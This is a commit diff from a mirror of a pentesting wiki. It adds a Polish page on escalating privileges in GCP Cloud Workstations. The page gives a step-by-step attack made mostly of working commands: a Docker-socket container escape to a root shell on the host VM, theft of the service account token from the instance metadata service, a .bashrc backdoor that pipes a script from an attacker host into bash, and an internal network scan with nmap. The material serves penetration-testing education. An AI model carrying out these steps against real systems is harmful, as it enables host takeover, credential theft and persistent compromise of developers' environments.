mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
+96
@@ -0,0 +1,96 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Główny wektor eskalacji uprawnień w Cloud Workstations wynika z konieczności wspierania workflowów **Docker-in-Docker (DinD)** dla deweloperów. Kiedy konfiguracja workstation montuje Docker socket lub pozwala na privileged containers (częsta konfiguracja), atakujący wewnątrz kontenera workstation może uciec do leżącego poniżej Compute Engine VM i ukraść jego token konta usługi.
|
||||
|
||||
**Prerequisites:**
|
||||
- Dostęp do terminala Cloud Workstation (przez SSH, przejętą sesję lub skradzione poświadczenia)
|
||||
- Konfiguracja workstation musi montować `/var/run/docker.sock` lub umożliwiać privileged containers
|
||||
|
||||
**Architecture context:** Workstation to kontener (Layer 3) uruchomiony na runtime Docker/Containerd (Layer 2) na GCE VM (Layer 1). Docker socket daje bezpośredni dostęp do runtime'u kontenerów hosta.
|
||||
|
||||
> [!NOTE]
|
||||
> Narzędzie [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatyzuje pełne container escape i daje powłokę root na hoście VM.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krok 1: Sprawdź Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
# Expected output: srw-rw---- 1 root docker 0 ...
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krok 2: Ucieczka do systemu plików VM hosta</summary>
|
||||
|
||||
Uruchamiamy uprzywilejowany kontener, montując katalog root hosta pod `/mnt/host`. Dzielimy też sieć hosta i przestrzeń nazw PID, aby zmaksymalizować widoczność.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
-v /:/mnt/host \
|
||||
alpine sh
|
||||
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Masz teraz **root shell na podstawowej Compute Engine VM** (Warstwa 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krok 3: Wykradnij VM service account token z IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Check which service account is attached
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
|
||||
# Check scopes (CRITICAL STEP)
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Sprawdź zakresy!**
|
||||
> Nawet jeśli przypisany Service Account ma rolę **Editor**, VM może być ograniczona przez zakresy dostępu.
|
||||
> Jeśli widzisz `https://www.googleapis.com/auth/cloud-platform`, masz pełny dostęp.
|
||||
> Jeśli widzisz tylko `logging.write` i `monitoring.write`, jesteś ograniczony do wektorów **Network Pivot** i **Persistence** opisanych poniżej.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krok 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations montują trwały dysk pod `/home/user`. Ponieważ użytkownik kontenera (zwykle `user`, UID 1000) odpowiada użytkownikowi hosta (UID 1000), możesz zapisywać w katalogu domowym hosta. To pozwala na zainstalowanie backdoora w środowisku nawet jeśli kontener Workstation zostanie odbudowany.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
|
||||
# Drop a backdoor that executes next time the developer logs in
|
||||
# Note: Do this from the container escape context
|
||||
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Krok 5: Network Pivot (Wewnętrzny dostęp do VPC)</summary>
|
||||
|
||||
Ponieważ dzielisz przestrzeń nazw sieci hosta (`--net=host`), stajesz się teraz zaufanym węzłem w VPC. Możesz skanować wewnętrzne usługi, które umożliwiają dostęp na podstawie whitelistingu adresów IP.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
# Scan the internal VPC subnet
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
</details>
|
||||
Reference in New Issue
Block a user